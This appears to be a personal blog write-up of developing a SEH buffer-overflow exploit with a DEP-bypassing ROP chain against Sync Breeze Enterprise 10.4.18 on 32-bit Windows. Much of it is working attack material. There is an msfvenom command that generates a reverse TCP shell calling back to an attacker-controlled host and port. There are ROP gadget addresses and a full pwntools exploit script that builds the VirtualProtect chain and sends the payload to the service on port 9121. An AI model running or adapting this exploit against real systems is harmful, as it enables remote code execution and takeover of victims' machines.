Sync Breeze Enterprise – Windows Exploit Dev for the Curious
This is a write-up of an exploit development. I love poking at exploit code, operating systems, shell, reverse engineering and anything remotely mathematical or challenging to the brain(my brain of course).
‘Standing on the shoulders of giants’ — I have replicated this exploit development by following OJ’s stream, the process is similar but with little differences in the code or the final exploit.
Application: Sync Breeze Enterprise 10.4.18 on Windows 10 –32 bit app.
Dev machine: Ubuntu
Tools Used: WinDbg 10, Binary Ninja, pwntools, ropper, rawcap, wireshark and msfvenom.
Context: I was looking for something to practice and improve my skills and chanced upon OJ - an amazing guy and his tweet on exploit development streams. He picked this particular vuln app — you can check for vuln apps online(you know where), you will find tons of them.
The Pledge: The above application is a normal TCP client-server app that syncs your data backups. We know its vulnerable to Buffer Overflow, but we will discover during the process what kind of vuln(stack/heap/SEH) it is. After installing the app you should get a client and a service installed. Looks like this.
Play around with the client and try to sync some files/dirs locally. Have a feel of the application and how it works. Now for the fuzzing part of it. We can use ‘netstat -ano’ to narrow down the ports this service might be listening on or since its a TCP client/server app we use ‘wireshark’ to see what’s happening on the wire(caveat, since its on localhost we need to use ‘rawcap’ to capture packets). Install ‘rawcap’ and try to do few sync operations in the client — start by opening the app afresh. Once you have captured packets, dumped it into a file we can open it in ‘wireshark’. See below.
In the above picture, we can see the service is listening on port 9121 and that the payload — immediately after the 3-way handshake — has the preamble we are looking for. Notice the binary protocol has some ASCII identifiable strings, ‘SERVER_GET_INFO 2’, ‘Data’ etc.. The objective of our exercise is to mock a client that can talk the same language that the service understands and responds so that we can pwn it. So we start building our TCP client in python with ‘pwntools’ of course. Just keep this payload handy to check the hex bytes while coding the client. We can see that the data is grouped into 32-bit words(dwords). Lets assume that the payload is made of a Header + Body and see how we go from there.
I have verbatim copied the same values as in the above payload. Run it on the shell and we immediately get a successful response, good news.
One good tip I learnt here is to try run the vuln applications from the cmd line, so that its easy to start/stop during dev since you will be crashing it a lot. To find out if at all we can run it via the cmd line, we do some static analysis of the ‘syncbrs.exe’. Maybe check the strings in the binary for identifiable args. Or check in Binary Ninja to see the flow of the application from the start and the cmd line arguments it works with. After poking and prodding we notice a string ‘-console’ that maybe can be used to invoke the app in console mode. Try it and soon enough we verify that we can indeed run it on the cmd line.
After fiddling around with some of those ‘Default Values’, ‘0x1a’, ‘0x20’ and ‘0x00’, you will notice that they are directly related to the offsets in the payload that starts with ‘SERVER_GET_INFO’
- 0x1a = 26 = 0x00 in the payload.
2. 0x20 = 32 = total bytes of the payload.
3. 0x00 = value at the position 0x1a(26) in the payload.
Now, do some fuzzing for good — change the values accordingly as long as it meets the above constraints — but before that, fire up WinDbg and have a look at the application.
Now, lets start fleshing out the details of the client to break the control flow or simply kill the app — remember we already know it has a Buffer Overflow vulnerability.
buffer_size = 0x50, 0x100, 0x200, 0x300, 0x400
pattern = util.cyclic.cyclic_metasploit(buffer_size)
For each buffer_size, create a pattern and feed it as the ‘body’ of the payload and send the payload to see if it crashes or changes the control flow of the application. Take care to change the ‘Default Values’ to reflect the data payload.
Sample Runs : The application breaks first for an access violation error
Access violation - code c0000005 (first chance)
Then, the second exception will be ‘pseudo-register’ access error, where the program tries to run the exception handler(the saved ‘return-address’ pointer that gets popped into ‘eip’ has been overwritten by our payload) which is one of the tell tale signs of an SEH handler stomping all over itself.
For more info on SEH handler structures and the exploitation refer to this awesome blog by corelan —
After trying with varying payload sizes like 0x100, 0x200, 0x300, 0x400 we get crashes on each run, and we can find out the dereference or access violation offset and the final saved ‘return-address’ pointer offset that gets popped into ‘eip’ on ‘ret’. This final ‘return-address’ pointer offset is where we want to be, to run our exploit payload.
We also discover the bad characters that our payload cannot have — these characters trip the input reading of the process and may result into truncation of our input. These chars signify delimiters, null bytes, carriage return etc.. The way to find out this is by looking if the stack has your input intact or has truncated characters from it.
Ex: Bad chars are ‘\x00’ — null byte, ‘\x0a’ — carriage return etc.. In this exercise we have found the following bad chars ‘\x00’, ‘\x0a’, ‘\x01’, ‘\x02’ and ‘\x03’
See below code snippet — these are the offsets that we found on our app run.
#!/usr/bin/python
from pwn import *
max_buffer = 0x400
pattern = util.cyclic.cyclic_metasploit(max_buffer)
deref_offset = util.cyclic.cyclic_metasploit_find(0x63413163)
eip_offset = util.cyclic.cyclic_metasploit_find(0x33654132)
Now you ask me why the 0x400 limit? Black Magic :) The more buffer we can write the more space we have to maneuver our exploit/payload. The way we find this limit is just by doing some static analysis using Binary Ninja and groping in the code base for something that sticks out. In this case while following the code path and checking for the cmd line args we chance upon a code path that tries to check the payload size to be ≤ 0x400, if not, it tries to allocate that space on the heap and we don’t want that if we want this app to crash or alter the control flow, remember the SEH handlers and structures are on the stack. While doing some static and dynamic analysis via running it in the debugger and tracing the execution, break point on ‘ws2_32!recv’ etc.. we get to check what each parameter means, and the verification process, viz the magic header ‘0xabba1975’, ‘0x03’ and ‘0x01’ for command and encryption control flag. Here is the Binary Ninja screen for reference.
TBD: Attach the screenshot of the code where the comparison of ≤ 0x400 happens.
We now try to figure out if the most obvious way works, right? Can we just push our shellcode on the stack and let it rip? Apparently no, the stack here is NX/DEP complaint which means the stack is non-executable, so no luck here. You can check the stack protection by picking any stack address and running the following command in WinDbg.
So our next objective is to change the stack protection to ‘Execute’ and to do that we can use Windows API — VirtualProtect. This is one of the APIs that can be abused to change memory region protection and run shellcode from the region. For more info on various ways to defeat DEP/NX compatible once again refer to this corelan gem
The Turn: Now that we have established the process of crashing the app and directing the control flow(eip) with our controlled value, and we have also established that the stack is non-executable, our work is cut out. We need to direct the code execution, orchestrate the flow to run our custom code(ROP gadgets) and run the VirtualProtect API followed by running our shellcode.
Here, enters the concept of ROP — Return Oriented Programming and ROP gadgets. ROP gadgets are snippets of code that follow a pattern of — ‘data movement’, ‘operations on the data’ and end with a ‘ret’ — that directs the execution of the code. Chaining the ROP gadgets is called ROP chaining.
Important to note that once the SEH handler is invoked the ‘esp’ is now pointing to the new stack top that is way beyond the old ‘esp’ address — in these cases one of the first ROPs to execute is to fix the ‘esp’ address back to our controlled buffer area — this process is called ‘Stack Pivoting’ and we can find gadgets for this purpose as well.
See this for an understanding of ROP.
But the basic question is how do we know that our ROP gadgets will be at the exact position/address whenever the application is run. To do this we need to find modules that are not linked with dynamic base configs. To check this we will use the ‘Ropper’ application or more generally we can use the WinDbg ‘lm’ command and check if the ‘start’ and ‘end’ address of the modules remain the same after a few runs of the application.
We have now identified that libpal.dll and libspp.dll are statically linked. We use ‘Ropper’ to generate ROP gadgets from these two modules and use them in our ROP chaining exercises. Example gadgets:
Gadgets
=======
0x10043122: aaa; add al, 0; add esp, 4; mov eax, esi; pop esi; ret 4;
0x10046705: aaa; add al, byte ptr [eax + eax]; mov eax, 1; add esp, 0x54; ret 8;
0x1007a829: aaa; add al, byte ptr [eax]; add byte ptr [eax], al; call dword ptr [esi + 0x18];
0x1005bcd9: aaa; add byte ptr [eax], al; add esp, 4; pop esi; add esp, 0x200; ret;
0x10051c97: aaa; add byte ptr [eax], al; ret 0x10;
0x10049373: aaa; add dword ptr [eax], eax; add byte ptr [ebx], bh; ret;
0x1007f025: aaa; mov ah, 0xff; call dword ptr [eax + 0x68];
0x1004ad89: aaa; mov esi, 0xc4830003; or byte ptr [ebp + 0x4755fc0], al; pop ebx; ret 4;
0x1006a5f1: aaa; ret;
0x1008c8e3: aad 0; add byte ptr [eax], al; add byte ptr [ebx], al; ret 0xcd03;
0x1005d177: aad 0x22; add byte ptr [eax], al; xor eax, eax; pop edi; pop esi; ret;
0x10046b05: aad 0x2b; rol bh, 1; inc ebp; add byte ptr [0x81000000], al; ret 0x318;
0x1005c177: aad 0x32; add byte ptr [eax], al; add esp, 4; pop edi; pop esi; ret;
0x10067c42: aad 0x33; rcr byte ptr [edi + 0x5e], 0x5d; pop ebx; ret;
0x1005ed39: aad 0x5d; mov eax, edi; pop ebx; pop edi; pop esi; ret;
The final set of gadgets that we gather for our purpose.
Caveat : The ‘VirtualProtect’ API resides in the kernelbase.dll. Now since the kernelbase.dll is dynamically linked the addresses are randomized on each run of the application, so in order to get the exact address of the API we need to do some IAT(Import Address Table) scavenging. The plan is to find any Kernel32 API imported in the modules libpal or libspp. Since these modules are statically linked their addresses never change and so the imported address table is always fixed. From then on we can calculate the offset of the target API viz .. VirtualProtect. Ex: In the above example we have found out that KERNEL32!WriteFile is referenced at the given ‘libssp’ address. Now if we dereference that address(0x1016a044) we will land into ‘WriteFile’, we will now calculate the difference between ‘WriteFile’ and ‘VirtualProtect’ and note the distance. We will need to place the exact value of the API address into one of the registers later.
The way to check for the IAT is by running the following command in WinDbg. The address is the ‘start’ address of the module viz libspp.dll or libpal.dll
Once we get the IAT address we will check the table for the APIs using the following command: dps <startaddress>+ IAT offset <startaddress>+IAT offset+length
The Prestige: Now that we know that our execution is tailored to run the VirtualProtect API followed by the shellcode we placed as part of the buffer overflow, here is the code run. But before that we need to generate our payload using msfvenom.
msfvenom -p windows/shell_reverse_tcp -b ‘\x00\x0a\x01\x02\x03’ -f raw -i 3 LHOST=10.0.2.7 LPORT=4444 -o /home/bb/workspace/py/syncbreeze/payload.bin
#!/usr/bin/python
# Exploit code for Sync Breeze Enterprise 10.4.18 on Windows 10–32 bit app.
# OJ Reeves
# Vikrant Navalgund
from pwn import *
max_buffer = 0x400
nop_dword = 0x90909090
pattern = util.cyclic.cyclic_metasploit(max_buffer)
deref_offset = util.cyclic.cyclic_metasploit_find(0x63413163)
eip_offset = util.cyclic.cyclic_metasploit_find(0x33654132)
rop_start = deref_offset — 0x10 # We found out this by looking into the memory
# Generic read bytes from FILE
def shellcode():
with open(“./payload.bin”, “rb”) as f:
return f.read()
# ROP gadgets
rop_nop = 0x1005f11b # ret 0;
pop_pop_ret = 0x10137dd3 # pop ebp; pop ebx; ret
pivot_addr = 0x1010f455 # add esp, 0x654; ret 4 — stack_pivot
pop_eax_ret = 0x100fd644
pop_esi_ret = 0x10043073
pop_edi_ret = 0x10064def
pop_ecx_ret = 0x10043c28
sar_edx_8 = 0x10142fa2 # mucks [ecx]
pop_edx_ret = 0x10130ed1 # mucks eax — al to be specific
push_esp_ret = 0x100bc9e5
pop_ebp_ret = 0x1005edc5
pop_eax_ret_4= 0x1009fb3a
pushad_ret = 0x10151192
inc_ebx_pop_esi_ret = 0x10154357
mov_esi_ptr_eax = 0x10138850 # mov esi, dword ptr [eax]; push eax; call edi;
sub_eax_ebp_pppr = 0x1014e1a8 # sub eax, ebp; pop esi; pop ebp; pop ebx; ret
mov_eax_ptr_eax_ret = 0x1014fc8c # mov eax, dword ptr [eax]; ret; — libspp
get_iat_addr_ref_func = 0x1016a044 # KERNEL32!WriteFile — use a pivot to find VirtualProtect Func.
random_writable_addr = 0x1020f004 # Random writable addr in one of the non-dynamic base modules
# Start constructing the body…
body = ‘A’ * rop_start
body += p32(rop_nop) * 3 #’XXXX’ # ROP chain beginning
body += p32(pop_eax_ret)
body += ‘DDDD’ # access_violation
body += p32(rop_nop) * 14 # 15 (eip_offset — len(body)/4)
body += p32(pop_eax_ret_4)
body += p32(pivot_addr) # eip_offset
body += p32(rop_nop) * 2
# — — Notes — -
# We will use the VirtualProtect API to change
# the STACK permissions to Execute. Our shellcode
# will already be present on the STACK and once
# VirtualProtect is successful, the magic should
# happen.
#
# 0x74e612ec — table ptr
# 0x748f4f10 — ptr — KERNEL32!VirtualProtect
# 0x1016a044 — libspp — KERNEL32!WriteFile(0x74e4fc30)
# 0x116BC — diff — (0x100000000–0x116BC = ffff ffff fffe e944)
# VirtualProtect parameters
# eax — nop_dword ‘90909090’
# ecx — lpOldProtect (ptr to Writable address)
# edx — NewProtect (0x40)
# ebx — dwSize — ‘1 or 2 — denotes the pages, but if you can’t then > 0 should be OK’
# esp — lpAddress (automatic)
# ebp — ReturnTo (ptr to jump esp)
# esi — ptr to VirtualProtect()
# edi — ropnop
# Setup the ecx REG temporarily
# Because the setup edx rop needs ecx to be a Writable address
body += p32(pop_ecx_ret)
body += p32(random_writable_addr)
# setup the edx REG
body += p32(pop_edx_ret)
body += p32(0x40404040)
body += p32(sar_edx_8)
body += p32(sar_edx_8)
body += p32(sar_edx_8)
# Setup the ecx REG
body += p32(pop_ecx_ret)
body += p32(random_writable_addr)
# Setup ebx REG
body += p32(inc_ebx_pop_esi_ret)
body += p32(rop_nop)
# Setup the esi REG — this one was painful … :)
body += p32(pop_eax_ret)
body += p32(get_iat_addr_ref_func)
body += p32(mov_eax_ptr_eax_ret)
body += p32(pop_ebp_ret)
# Negative diff, the positive diff has zero(‘00’) bytes — bad chars
body += p32(0x100000000–0x116BC)
body += p32(sub_eax_ebp_pppr)
body += p32(nop_dword)
body += p32(nop_dword)
body += p32(nop_dword)
body += p32(pop_edi_ret)
body += p32(pop_pop_ret)
body += p32(mov_esi_ptr_eax)
# Setup ebp REG
body += p32(pop_ebp_ret)
body += p32(push_esp_ret)
# Setup eax REG
body += p32(pop_eax_ret)
body += p32(nop_dword)
# Setup edi REG
body += p32(pop_edi_ret)
body += p32(rop_nop)
# Call pushad — the magic to create a fake stack frame
body += p32(pushad_ret)
body += shellcode() # z shell code :) :)
body += ‘A’ * (max_buffer — len(body))
# Header values
header = p32(0xabba1975) # Magic HDR
header +=p32(0x3) # Some kinda control command
header +=p32(0x1) # Dont use encryption
# Default values
# header +=p32(0x1a) # Payload offset position for delimiter
# header +=p32(0x20) # Payload size
# header +=p32(0x00) # Payload delimiter
# Fuzzed values
header +=p32(0x400) # Payload offset position for delimiter
header +=p32(0x400) # Payload size
header +=p32(ord(body[-1])) # Payload delimiter
# Default Payload
# body = ‘SERVER_GET_INFO’
# body +=’\x02\x32\x01'
# body +=’Data’
# body +=’\x01\x30\x01\x00\x24\x72\x88\x49\x60\x02'
# Our Payload
payload = header + body
conn = remote(‘10.0.2.6’, 9121)
conn.send(payload)
#response = conn.recv(1024)
conn.close()